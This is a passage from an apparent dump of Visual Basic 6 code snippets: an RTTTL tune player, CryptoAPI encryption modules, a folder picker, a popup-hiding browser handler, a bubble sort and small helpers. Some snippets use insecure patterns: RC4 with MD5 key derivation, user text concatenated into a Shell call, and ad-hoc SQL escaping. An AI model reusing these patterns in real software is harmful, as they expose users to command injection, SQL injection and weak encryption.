\"D#10\"\n colFrequencies.Add 10548.083, \"E10\"\n colFrequencies.Add 11175.305, \"F10\"\n colFrequencies.Add 11839.823, \"F#10\"\n colFrequencies.Add 12543.855, \"G10\"\n colFrequencies.Add 13289.752, \"G#10\"\n End If\n \n DoEvents\n If UCase$(Mid$(sNote, 1, 1)) = \"P\" Then 'pause\n Sleep lDuration\n Else\n lFrequency = CLng(colFrequencies(UCase$(sNote)))\n Beep lFrequency, lDuration\n End If\n \n Exit Sub\n \nPlayNote_err:\n Debug.Print Err.Number & \": \" & Err.Description\nEnd Sub\nPrivate Function GetNotesFromRTTTL(ByVal RTTTL As String) As Collection\n Dim lDefDuration As Long\n Dim lDefScale As Long\n Dim lBPM As Long\n Dim lStart As Long\n Dim sNote As String\n Dim lDuration As Long\n \n Set GetNotesFromRTTTL = New Collection\n \n 'Get default values\n lDefDuration = GetDefaultFromRTTTL(RTTTL, \"d\", 4)\n lDefScale = GetDefaultFromRTTTL(RTTTL, \"o\", 6)\n lBPM = GetDefaultFromRTTTL(RTTTL, \"b\", 63)\n \n 'Find first note\n lStart = InStr(1, RTTTL, \":\")\n If InStr(lStart + 1, RTTTL, \":\") > 0 Then\n lStart = InStr(lStart + 1, RTTTL, \":\")\n End If\n lStart = lStart + 1\n \n 'Parse notes\n Do Until lStart = 1\n sNote = GetNoteNameFromRTTTL(RTTTL, lStart, lDefScale)\n lDuration = GetNoteDurationFromRTTTL(RTTTL, lStart, lDefDuration, lBPM)\n GetNotesFromRTTTL.Add sNote & Space$(5 - Len(sNote)) & lDuration\n lStart = InStr(lStart + 1, RTTTL, \",\") + 1\n Loop\nEnd Function\nPrivate Function GetDefaultFromRTTTL(ByVal RTTTL As String, ByVal sType As String, lDefault As Long) As Long\n Dim lPos As Long\n lPos = InStr(1, RTTTL, sType & \"=\")\n If lPos > 0 Then\n Do While IsNumeric(Mid$(RTTTL, lPos + 2, 1))\n GetDefaultFromRTTTL = GetDefaultFromRTTTL * 10 + Val(Mid$(RTTTL, lPos + 2, 1))\n lPos = lPos + 1\n Loop\n Else\n GetDefaultFromRTTTL = lDefault\n End If\nEnd Function\nPrivate Function GetNoteNameFromRTTTL(ByVal RTTTL As String, ByVal lStart As Long, ByVal lDefScale As Long) As String\n Dim lPos As Long\n Dim sTemp As String\n \n lPos = InStr(lStart, RTTTL, \",\")\n If lPos > 0 Then\n sTemp = UCase$(Mid$(RTTTL, lStart, lPos - lStart))\n Else\n sTemp = UCase$(Mid$(RTTTL, lStart))\n End If\n sTemp = Trim$(sTemp)\n \n If Len(sTemp) = 0 Then\n Exit Function\n End If\n \n 'Remove duration, if any\n Do While IsNumeric(Left$(sTemp, 1))\n sTemp = Mid$(sTemp, 2)\n Loop\n \n 'Remove any dots\n sTemp = FindAndReplace(sTemp, \".\", \"\")\n \n GetNoteNameFromRTTTL = sTemp\n \n 'Add default scale if not given\n If Mid$(sTemp, 2, 1) = \"#\" Then\n If Len(sTemp) = 2 Then\n GetNoteNameFromRTTTL = sTemp & lDefScale\n End If\n Else\n If Len(sTemp) = 1 Then\n GetNoteNameFromRTTTL = sTemp & lDefScale\n End If\n End If\nEnd Function\nPrivate Function GetNoteDurationFromRTTTL(ByVal RTTTL As String, ByVal lStart As Long, ByVal lDefDuration As Long, ByVal lBPM As Long) As Long\n Dim lPos As Long\n Dim sTemp As String\n Dim lDur As Long\n \n lPos = InStr(lStart, RTTTL, \",\")\n If lPos > 0 Then\n sTemp = UCase$(Mid$(RTTTL, lStart, lPos - lStart))\n Else\n sTemp = UCase$(Mid$(RTTTL, lStart))\n End If\n \n If Len(sTemp) = 0 Then\n Exit Function\n End If\n \n 'See if any duration given for note\n lPos = 1\n If IsNumeric(Mid$(sTemp, lPos, 1)) Then\n Do While IsNumeric(Mid$(sTemp, lPos, 1))\n lDur = lDur & Mid$(sTemp, lPos, 1)\n lPos = lPos + 1\n Loop\n Else\n lDur = lDefDuration\n End If\n \n GetNoteDurationFromRTTTL = (4 * 60000) / (lBPM * lDur)\n \n 'check for a .\n If InStr(1, sTemp, \".\") > 0 Then\n GetNoteDurationFromRTTTL = GetNoteDurationFromRTTTL * 1.5\n End If\nEnd Function\nPrivate Function FindAndReplace(ByVal sOriginal As String, ByVal sFind As String, ByVal sReplace As String, Optional ByVal bCaseSensitive As Boolean = True) As String\n Dim lPos As Long\n \n FindAndReplace = sOriginal\n \n If Len(sFind) = 0 Then\n Exit Function\n End If\n \n If bCaseSensitive Then\n lPos = InStr(1, sOriginal, sFind, vbBinaryCompare)\n Else\n lPos = InStr(1, sOriginal, sFind, vbTextCompare)\n End If\n \n Do While lPos > 0\n FindAndReplace = Mid$(FindAndReplace, 1, lPos - 1) & sReplace & Mid$(FindAndReplace, lPos + Len(sFind))\n If bCaseSensitive Then\n lPos = InStr(lPos + Len(sReplace), FindAndReplace, sFind, vbBinaryCompare)\n Else\n lPos = InStr(lPos + Len(sReplace), FindAndReplace, sFind, vbTextCompare)\n End If\n Loop\nEnd Function\n"},{"WorldId":1,"id":5795,"LineNumber":1,"line":"Option Explicit\n'This is based on the 2 MSDN articles\n' \"Example C Program: Using CryptAcquireContext\"\n' \"Example C Program: Encrypting a File\"\n'Example usage:\n'\n' Private Const MY_PASSWORD As String = \"isdflkaatdfuhwfnasdf\"\n'\n' Public Sub Main()\n' MsgBox EncryptData(\"hello world\", MY_PASSWORD)\n' MsgBox DecryptData(EncryptData(\"hello world\", MY_PASSWORD), MY_PASSWORD)\n' End Sub\nPrivate Declare Function CryptAcquireContext Lib \"advapi32.dll\" Alias \"CryptAcquireContextA\" _\n (ByRef phProv As Long, _\n ByVal pszContainer As String, _\n ByVal pszProvider As String, _\n ByVal dwProvType As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptGetProvParam Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal dwParam As Long, _\n ByRef pbData As Any, _\n ByRef pdwDataLen As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptCreateHash Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal Algid As Long, _\n ByVal hKey As Long, _\n ByVal dwFlags As Long, _\n ByRef phHash As Long) As Long\n \nPrivate Declare Function CryptHashData Lib \"advapi32.dll\" _\n (ByVal hHash As Long, _\n ByVal pbData As String, _\n ByVal dwDataLen As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptDeriveKey Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal Algid As Long, _\n ByVal hBaseData As Long, _\n ByVal dwFlags As Long, _\n ByRef phKey As Long) As Long\n \nPrivate Declare Function CryptDestroyHash Lib \"advapi32.dll\" _\n (ByVal hHash As Long) As Long\n \nPrivate Declare Function CryptEncrypt Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal hHash As Long, _\n ByVal Final As Long, _\n ByVal dwFlags As Long, _\n ByVal pbData As String, _\n ByRef pdwDataLen As Long, _\n ByVal dwBufLen As Long) As Long\nPrivate Declare Function CryptDestroyKey Lib \"advapi32.dll\" _\n (ByVal hKey As Long) As Long\nPrivate Declare Function CryptReleaseContext Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal dwFlags As Long) As Long\nPrivate Declare Function CryptDecrypt Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal hHash As Long, _\n ByVal Final As Long, _\n ByVal dwFlags As Long, _\n ByVal pbData As String, _\n ByRef pdwDataLen As Long) As Long\nPrivate Const SERVICE_PROVIDER As String = \"Microsoft Base Cryptographic Provider v1.0\"\nPrivate Const KEY_CONTAINER As String = \"Metallica\"\nPrivate Const PROV_RSA_FULL As Long = 1\nPrivate Const PP_NAME As Long = 4\nPrivate Const PP_CONTAINER As Long = 6\nPrivate Const CRYPT_NEWKEYSET As Long = 8\nPrivate Const ALG_CLASS_DATA_ENCRYPT As Long = 24576\nPrivate Const ALG_CLASS_HASH As Long = 32768\nPrivate Const ALG_TYPE_ANY As Long = 0\nPrivate Const ALG_TYPE_STREAM As Long = 2048\nPrivate Const ALG_SID_RC4 As Long = 1\nPrivate Const ALG_SID_MD5 As Long = 3\nPrivate Const CALG_MD5 As Long = ((ALG_CLASS_HASH Or ALG_TYPE_ANY) Or ALG_SID_MD5)\nPrivate Const CALG_RC4 As Long = ((ALG_CLASS_DATA_ENCRYPT Or ALG_TYPE_STREAM) Or ALG_SID_RC4)\nPrivate Const ENCRYPT_ALGORITHM As Long = CALG_RC4\nPrivate Const NUMBER_ENCRYPT_PASSWORD As String = \"┬┤o┬╕s├ºPQ]\"\nPublic Function EncryptData(ByVal Data As String, ByVal Password As String) As String\n Dim sEncrypted As String\n Dim lEncryptionCount As Long\n Dim sTempPassword As String\n \n 'It is possible that the normal encryption will give you a string\n 'containing cr or lf characters which make it difficult to write to files\n 'Do a loop changing the password and keep encrypting until the result is ok\n 'To be able to decrypt we need to also store the number of loops in the result\n \n 'Try first encryption\n lEncryptionCount = 0\n sTempPassword = Password & lEncryptionCount\n sEncrypted = EncryptDecrypt(Data, sTempPassword, True)\n \n 'Loop if this contained a bad character\n Do While (InStr(1, sEncrypted, vbCr) > 0) _\n Or (InStr(1, sEncrypted, vbLf) > 0) _\n Or (InStr(1, sEncrypted, Chr$(0)) > 0) _\n Or (InStr(1, sEncrypted, vbTab) > 0)\n \n 'Try the next password\n lEncryptionCount = lEncryptionCount + 1\n sTempPassword = Password & lEncryptionCount\n sEncrypted = EncryptDecrypt(Data, sTempPassword, True)\n \n 'Don't go on for ever, 1 billion attempts should be plenty\n If lEncryptionCount = 99999999 Then\n Err.Raise vbObjectError + 999, \"EncryptData\", \"This data cannot be successfully encrypted\"\n EncryptData = \"\"\n Exit Function\n End If\n Loop\n \n 'Build encrypted string, starting with number of encryption iterations\n EncryptData = EncryptNumber(lEncryptionCount) & sEncrypted\nEnd Function\nPublic Function DecryptData(ByVal Data As String, ByVal Password As String) As String\n Dim lEncryptionCount As Long\n Dim sDecrypted As String\n Dim sTempPassword As String\n \n 'When encrypting we may have gone through a number of iterations\n 'How many did we go through?\n lEncryptionCount = DecryptNumber(Mid$(Data, 1, 8))\n \n 'start with the last password and work back\n sTempPassword = Password & lEncryptionCount\n sDecrypted = EncryptDecrypt(Mid$(Data, 9), sTempPassword, False)\n \n DecryptData = sDecrypted\nEnd Function\nPublic Function GetCSPDetails() As String\n Dim hCryptProv As Long\n Dim lLength As Long\n Dim yContainer() As Byte\n \n 'Get handle to CSP\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) = 0 Then\n HandleError \"Error during CryptAcquireContext for a new key container.\" & vbCrLf & _\n \"A container with this name probably already exists.\"\n Exit Function\n End If\n \n 'For developer info, show what the CSP & container name is\n lLength = 1000\n ReDim yContainer(lLength)\n If CryptGetProvParam(hCryptProv, PP_NAME, yContainer(0), lLength, 0) <> 0 Then\n GetCSPDetails = \"Cryptographic Service Provider name: \" & ByteToStr(yContainer, lLength)\n End If\n lLength = 1000\n ReDim yContainer(lLength)\n If CryptGetProvParam(hCryptProv, PP_CONTAINER, yContainer(0), lLength, 0) <> 0 Then\n GetCSPDetails = GetCSPDetails & vbCrLf & \"Key Container name: \" & ByteToStr(yContainer, lLength)\n End If\n \n 'Release provider handle.\n If hCryptProv <> 0 Then\n CryptReleaseContext hCryptProv, 0\n End If\nEnd Function\nPrivate Function EncryptDecrypt(ByVal Data As String, ByVal Password As String, ByVal Encrypt As Boolean) As String\n Dim hCryptProv As Long\n Dim lLength As Long\n Dim sTemp As String\n Dim hHash As Long\n Dim hKey As Long\n \n 'Get handle to CSP\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) = 0 Then\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, 0) = 0 Then\n HandleError \"Error during CryptAcquireContext for a new key container.\" & vbCrLf & _\n \"A container with this name probably already exists.\"\n Exit Function\n End If\n End If\n \n '--------------------------------------------------------------------\n 'The data will be encrypted with a session key derived from the\n 'password.\n 'The session key will be recreated when the data is decrypted\n 'only if the password used to create the key is available.\n '--------------------------------------------------------------------\n 'Create a hash object.\n If CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash) = 0 Then\n HandleError \"Error during CryptCreateHash!\"\n End If\n 'Hash the password.\n If CryptHashData(hHash, Password, Len(Password), 0) = 0 Then\n HandleError \"Error during CryptHashData.\"\n End If\n \n 'Derive a session key from the hash object.\n If CryptDeriveKey(hCryptProv, ENCRYPT_ALGORITHM, hHash, 0, hKey) = 0 Then\n HandleError \"Error during CryptDeriveKey!\"\n End If\n \n 'Do the work\n sTemp = Data\n lLength = Len(Data)\n If Encrypt Then\n 'Encrypt data.\n If CryptEncrypt(hKey, 0, 1, 0, sTemp, lLength, lLength) = 0 Then\n HandleError \"Error during CryptEncrypt.\"\n End If\n Else\n 'Encrypt data.\n If CryptDecrypt(hKey, 0, 1, 0, sTemp, lLength) = 0 Then\n HandleError \"Error during CryptDecrypt.\"\n End If\n End If\n 'This is what we return.\n EncryptDecrypt = Mid$(sTemp, 1, lLength)\n \n 'Destroy session key.\n If hKey <> 0 Then\n CryptDestroyKey hKey\n End If\n 'Destroy hash object.\n If hHash <> 0 Then\n CryptDestroyHash hHash\n End If\n \n 'Release provider handle.\n If hCryptProv <> 0 Then\n CryptReleaseContext hCryptProv, 0\n End If\nEnd Function\nPrivate Sub HandleError(ByVal Error As String)\n 'You could write the error to the screen or to a file\n Debug.Print Error\nEnd Sub\nPrivate Function ByteToStr(ByRef ByteArray() As Byte, ByVal lLength As Long) As String\n Dim i As Long\n For i = LBound(ByteArray) To (LBound(ByteArray) + lLength)\n ByteToStr = ByteToStr & Chr$(ByteArray(i))\n Next i\nEnd Function\nPrivate Function EncryptNumber(ByVal lNumber As Long) As String\n Dim i As Long\n Dim sNumber As String\n \n sNumber = Format$(lNumber, \"00000000\")\n \n For i = 1 To 8\n EncryptNumber = EncryptNumber & Chr$(Asc(Mid$(NUMBER_ENCRYPT_PASSWORD, i, 1)) + Val(Mid$(sNumber, i, 1)))\n Next i\nEnd Function\nPrivate Function DecryptNumber(ByVal sNumber As String) As Long\n Dim i As Long\n \n For i = 1 To 8\n DecryptNumber = (10 * DecryptNumber) + (Asc(Mid$(sNumber, i, 1)) - Asc(Mid$(NUMBER_ENCRYPT_PASSWORD, i, 1)))\n Next i\nEnd Function\n\n"},{"WorldId":1,"id":5825,"LineNumber":1,"line":"'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'\n' Example usage:\n'\n' Private Const MY_PASSWORD As String = \"isdflkaatdfuhwfnasdf\"\n'\n' Public Sub Main()\n' Dim sEncrypted As String\n' EncryptionCSPConnect\n' sEncrypted = EncryptData(\"hello world\", MY_PASSWORD)\n' MsgBox DecryptData(sEncrypted, MY_PASSWORD)\n' EncryptionCSPDisconnect\n' End Sub\n'\n'\n' Public Interface:\n'\n' Function EncryptionCSPConnect() As Boolean\n' - Connect to CSP, must be called before using encryption\n' Function EncryptData(ByVal Data As String, ByVal Password As String) As String\n' - Encrypt a string\n' Function DecryptData(ByVal Data As String, ByVal Password As String) As String\n' - Decrypt a string\n' Function GetCSPDetails() As String\n' - Returns the CSP details\n' Sub EncryptionCSPDisconnect()\n' - Release handle, must be called when finished using encryption\n'\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nOption Explicit\nPrivate Declare Function CryptAcquireContext Lib \"advapi32.dll\" Alias \"CryptAcquireContextA\" _\n (ByRef phProv As Long, _\n ByVal pszContainer As String, _\n ByVal pszProvider As String, _\n ByVal dwProvType As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptGetProvParam Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal dwParam As Long, _\n ByRef pbData As Any, _\n ByRef pdwDataLen As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptCreateHash Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal Algid As Long, _\n ByVal hKey As Long, _\n ByVal dwFlags As Long, _\n ByRef phHash As Long) As Long\n \nPrivate Declare Function CryptHashData Lib \"advapi32.dll\" _\n (ByVal hHash As Long, _\n ByVal pbData As String, _\n ByVal dwDataLen As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptDeriveKey Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal Algid As Long, _\n ByVal hBaseData As Long, _\n ByVal dwFlags As Long, _\n ByRef phKey As Long) As Long\n \nPrivate Declare Function CryptDestroyHash Lib \"advapi32.dll\" _\n (ByVal hHash As Long) As Long\n \nPrivate Declare Function CryptEncrypt Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal hHash As Long, _\n ByVal Final As Long, _\n ByVal dwFlags As Long, _\n ByVal pbData As String, _\n ByRef pdwDataLen As Long, _\n ByVal dwBufLen As Long) As Long\nPrivate Declare Function CryptDestroyKey Lib \"advapi32.dll\" _\n (ByVal hKey As Long) As Long\nPrivate Declare Function CryptReleaseContext Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal dwFlags As Long) As Long\nPrivate Declare Function CryptDecrypt Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal hHash As Long, _\n ByVal Final As Long, _\n ByVal dwFlags As Long, _\n ByVal pbData As String, _\n ByRef pdwDataLen As Long) As Long\nPrivate Const SERVICE_PROVIDER As String = \"Microsoft Base Cryptographic Provider v1.0\"\nPrivate Const KEY_CONTAINER As String = \"Metallica\"\nPrivate Const PROV_RSA_FULL As Long = 1\nPrivate Const PP_NAME As Long = 4\nPrivate Const PP_CONTAINER As Long = 6\nPrivate Const CRYPT_NEWKEYSET As Long = 8\nPrivate Const ALG_CLASS_DATA_ENCRYPT As Long = 24576\nPrivate Const ALG_CLASS_HASH As Long = 32768\nPrivate Const ALG_TYPE_ANY As Long = 0\nPrivate Const ALG_TYPE_STREAM As Long = 2048\nPrivate Const ALG_SID_RC4 As Long = 1\nPrivate Const ALG_SID_MD5 As Long = 3\nPrivate Const CALG_MD5 As Long = ((ALG_CLASS_HASH Or ALG_TYPE_ANY) Or ALG_SID_MD5)\nPrivate Const CALG_RC4 As Long = ((ALG_CLASS_DATA_ENCRYPT Or ALG_TYPE_STREAM) Or ALG_SID_RC4)\nPrivate Const ENCRYPT_ALGORITHM As Long = CALG_RC4\nPrivate Const NUMBER_ENCRYPT_PASSWORD As String = \"┬┤o┬╕s├ºPQ]\"\nPrivate hCryptProv As Long\nPublic Function EncryptionCSPConnect() As Boolean\n 'Get handle to CSP\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) = 0 Then\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, 0) = 0 Then\n HandleError \"Error during CryptAcquireContext for a new key container.\" & vbCrLf & _\n \"A container with this name probably already exists.\"\n EncryptionCSPConnect = False\n Exit Function\n End If\n End If\n \n EncryptionCSPConnect = True\nEnd Function\nPublic Sub EncryptionCSPDisconnect()\n 'Release provider handle.\n If hCryptProv <> 0 Then\n CryptReleaseContext hCryptProv, 0\n End If\nEnd Sub\nPublic Function EncryptData(ByVal Data As String, ByVal Password As String) As String\n Dim sEncrypted As String\n Dim lEncryptionCount As Long\n Dim sTempPassword As String\n \n 'It is possible that the normal encryption will give you a string\n 'containing cr or lf characters which make it difficult to write to files\n 'Do a loop changing the password and keep encrypting until the result is ok\n 'To be able to decrypt we need to also store the number of loops in the result\n \n 'Try first encryption\n lEncryptionCount = 0\n sTempPassword = Password & lEncryptionCount\n sEncrypted = EncryptDecrypt(Data, sTempPassword, True)\n \n 'Loop if this contained a bad character\n Do While (InStr(1, sEncrypted, vbCr) > 0) _\n Or (InStr(1, sEncrypted, vbLf) > 0) _\n Or (InStr(1, sEncrypted, Chr$(0)) > 0) _\n Or (InStr(1, sEncrypted, vbTab) > 0)\n \n 'Try the next password\n lEncryptionCount = lEncryptionCount + 1\n sTempPassword = Password & lEncryptionCount\n sEncrypted = EncryptDecrypt(Data, sTempPassword, True)\n \n 'Don't go on for ever, 1 billion attempts should be plenty\n If lEncryptionCount = 99999999 Then\n Err.Raise vbObjectError + 999, \"EncryptData\", \"This data cannot be successfully encrypted\"\n EncryptData = \"\"\n Exit Function\n End If\n Loop\n \n 'Build encrypted string, starting with number of encryption iterations\n EncryptData = EncryptNumber(lEncryptionCount) & sEncrypted\nEnd Function\nPublic Function DecryptData(ByVal Data As String, ByVal Password As String) As String\n Dim lEncryptionCount As Long\n Dim sDecrypted As String\n Dim sTempPassword As String\n \n 'When encrypting we may have gone through a number of iterations\n 'How many did we go through?\n lEncryptionCount = DecryptNumber(Mid$(Data, 1, 8))\n \n 'start with the last password and work back\n sTempPassword = Password & lEncryptionCount\n sDecrypted = EncryptDecrypt(Mid$(Data, 9), sTempPassword, False)\n \n DecryptData = sDecrypted\nEnd Function\nPublic Function GetCSPDetails() As String\n Dim lLength As Long\n Dim yContainer() As Byte\n \n If hCryptProv = 0 Then\n GetCSPDetails = \"Not connected to CSP\"\n Exit Function\n End If\n \n 'For developer info, show what the CSP & container name is\n lLength = 1000\n ReDim yContainer(lLength)\n If CryptGetProvParam(hCryptProv, PP_NAME, yContainer(0), lLength, 0) <> 0 Then\n GetCSPDetails = \"Cryptographic Service Provider name: \" & ByteToStr(yContainer, lLength)\n End If\n lLength = 1000\n ReDim yContainer(lLength)\n If CryptGetProvParam(hCryptProv, PP_CONTAINER, yContainer(0), lLength, 0) <> 0 Then\n GetCSPDetails = GetCSPDetails & vbCrLf & \"Key Container name: \" & ByteToStr(yContainer, lLength)\n End If\nEnd Function\nPrivate Function EncryptDecrypt(ByVal Data As String, ByVal Password As String, ByVal Encrypt As Boolean) As String\n Dim lLength As Long\n Dim sTemp As String\n Dim hHash As Long\n Dim hKey As Long\n \n If hCryptProv = 0 Then\n HandleError \"Not connected to CSP\"\n Exit Function\n End If\n \n '--------------------------------------------------------------------\n 'The data will be encrypted with a session key derived from the\n 'password.\n 'The session key will be recreated when the data is decrypted\n 'only if the password used to create the key is available.\n '--------------------------------------------------------------------\n 'Create a hash object.\n If CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash) = 0 Then\n HandleError \"Error during CryptCreateHash!\"\n End If\n 'Hash the password.\n If CryptHashData(hHash, Password, Len(Password), 0) = 0 Then\n HandleError \"Error during CryptHashData.\"\n End If\n \n 'Derive a session key from the hash object.\n If CryptDeriveKey(hCryptProv, ENCRYPT_ALGORITHM, hHash, 0, hKey) = 0 Then\n HandleError \"Error during CryptDeriveKey!\"\n End If\n \n 'Do the work\n sTemp = Data\n lLength = Len(Data)\n If Encrypt Then\n 'Encrypt data.\n If CryptEncrypt(hKey, 0, 1, 0, sTemp, lLength, lLength) = 0 Then\n HandleError \"Error during CryptEncrypt.\"\n End If\n Else\n 'Encrypt data.\n If CryptDecrypt(hKey, 0, 1, 0, sTemp, lLength) = 0 Then\n HandleError \"Error during CryptDecrypt.\"\n End If\n End If\n 'This is what we return.\n EncryptDecrypt = Mid$(sTemp, 1, lLength)\n \n 'Destroy session key.\n If hKey <> 0 Then\n CryptDestroyKey hKey\n End If\n 'Destroy hash object.\n If hHash <> 0 Then\n CryptDestroyHash hHash\n End If\nEnd Function\nPrivate Sub HandleError(ByVal Error As String)\n 'You could write the error to the screen or to a file\n Debug.Print Error\nEnd Sub\nPrivate Function ByteToStr(ByRef ByteArray() As Byte, ByVal lLength As Long) As String\n Dim i As Long\n For i = LBound(ByteArray) To (LBound(ByteArray) + lLength)\n ByteToStr = ByteToStr & Chr$(ByteArray(i))\n Next i\nEnd Function\nPrivate Function EncryptNumber(ByVal lNumber As Long) As String\n Dim i As Long\n Dim sNumber As String\n \n sNumber = Format$(lNumber, \"00000000\")\n \n For i = 1 To 8\n EncryptNumber = EncryptNumber & Chr$(Asc(Mid$(NUMBER_ENCRYPT_PASSWORD, i, 1)) + Val(Mid$(sNumber, i, 1)))\n Next i\nEnd Function\nPrivate Function DecryptNumber(ByVal sNumber As String) As Long\n Dim i As Long\n \n For i = 1 To 8\n DecryptNumber = (10 * DecryptNumber) + (Asc(Mid$(sNumber, i, 1)) - Asc(Mid$(NUMBER_ENCRYPT_PASSWORD, i, 1)))\n Next i\nEnd Function\n"},{"WorldId":1,"id":5666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5685,"LineNumber":1,"line":"Public Sub OpenInternet(Parent As Form, URL As String, _\n WindowStyle As T_WindowStyle)\nShellExecute Parent.hwnd, \"Open\", URL, \"\", \"\", WindowStyle\nEnd Sub \n"},{"WorldId":1,"id":5695,"LineNumber":1,"line":"Public Function SQL_Fix(ByVal sSQL as string) as string\n Dim sTempSQL as string\n 'replace apostrophes\n sTempSQL = Replace(sSQL, \"'\", \"' & Chr(39) & '\")\n 'replace pipe symbols\n SQL_Fix = Replace(sTempSQL, \"|\", \"' & Chr(124) & '\")\nEnd Function\n\n"},{"WorldId":1,"id":5700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5701,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim x\nx = Shell(\"start.exe \" & Text1, 0)\nEnd Sub\nPrivate Sub Command2_Click()\nDim x\nx = Shell(\"start.exe mailto:\" & Text1, 0)\nEnd Sub"},{"WorldId":1,"id":5722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5799,"LineNumber":1,"line":"'\n'Use:\n'\n'Sort Array\n'\n'to sort (A-Z / 1-10, Accending)\n'Pretty easy to update it to sort 2 or 3 dimensional arrays\n'Or to sort decending\n'\n'Comments or any info email: col@woor.co.uk\n'\nPublic Sub sort(tmparray)\nDim SortedArray As Boolean\nDim start, Finish As Integer\nSortedArray = True\nstart = LBound(tmparray)\nFinish = UBound(tmparray)\nDo\n SortedArray = True\n For loopcount = start To Finish - 1\n \n If tmparray(loopcount) > tmparray(loopcount + 1) Then\n SortedArray = False\n Call swap(tmparray, loopcount, loopcount + 1)\n End If\n \n Next loopcount\nLoop Until SortedArray = True\n\nEnd Sub\nSub swap(swparray, fpos, spos)\nDim temp As Variant\ntemp = swparray(fpos)\nswparray(fpos) = swparray(spos)\nswparray(spos) = temp\nEnd Sub\n"},{"WorldId":1,"id":5759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6971,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7776,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5738,"LineNumber":1,"line":"Private Sub Form_Load()\n' navigate to a website, I suggest www.aol.com\nWebBrowser1.Navigate \"http://www.aol.com\"\nEnd sub\nPrivate Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)\n'this sets the popup window to another browser control\n'in which webbrowser2.visible = false\nSet ppDisp = WebBrowser2.Object\nEnd Sub"},{"WorldId":1,"id":5873,"LineNumber":1,"line":"Sub Main()\nDim Folder As String\nFolder = GetFolder\nIf Not Folder = \"\" Then\n MsgBox Folder\nElse\n MsgBox \"Couldn't find folder.\"\nEnd If\nEnd Sub\nFunction GetFolder(Optional Title As String, Optional hWnd) As String\nDim bi As BROWSEINFO\nDim pidl As Long\nDim Folder As String\nFolder = String$(255, Chr$(0))\nWith bi\n If IsNumeric(hWnd) Then .hOwner = hWnd\n .ulFlags = BIF_RETURNONLYFSDIRS\n .pidlRoot = 0\n If Not IsMissing(Title) Then\n .lpszTitle = Title\n Else\n .lpszTitle = \"Select a Folder\" & Chr$(0)\n End If\nEnd With\npidl = SHBrowseForFolder(bi)\nIf SHGetPathFromIDList(ByVal pidl, ByVal Folder) Then\n GetFolder = Left(Folder, InStr(Folder, Chr$(0)) - 1)\nElse\n GetFolder = \"\"\nEnd If\nEnd Function"},{"WorldId":1,"id":5750,"LineNumber":1,"line":"' Assume:\n' 1 - Create a new project\n' 2 - Add 3 PictureBox (Picture1, Picture2, Picture3)\n' 3 - Add a TextBox (keep name Text1)\n'\n' aver PictureBox\n' Shift Key multiplies 10 times wheel action \n' Ctrl Key drives action to horizontal scroll\n'\n' Over 'Spin'TextBox\n' Shift Key multiplies 10 times wheel action\n' Ctrl key multiplies 100 times wheel action\n\nOption Explicit\n'=================================\n' Constante de GetSystemMetrics\n'=================================\nConst SM_MOUSEWHEELPRESENT As Long = 75 ' Vrai si molette\nPrivate Declare Function GetSystemMetrics Lib \"user32\" ( _\n ByVal nIndex As Long _\n) As Long\n'=================================\n' Constantes de messages\n'=================================\nConst WM_MOUSEWHEEL As Integer = &H20A ' action sur la molette\nConst 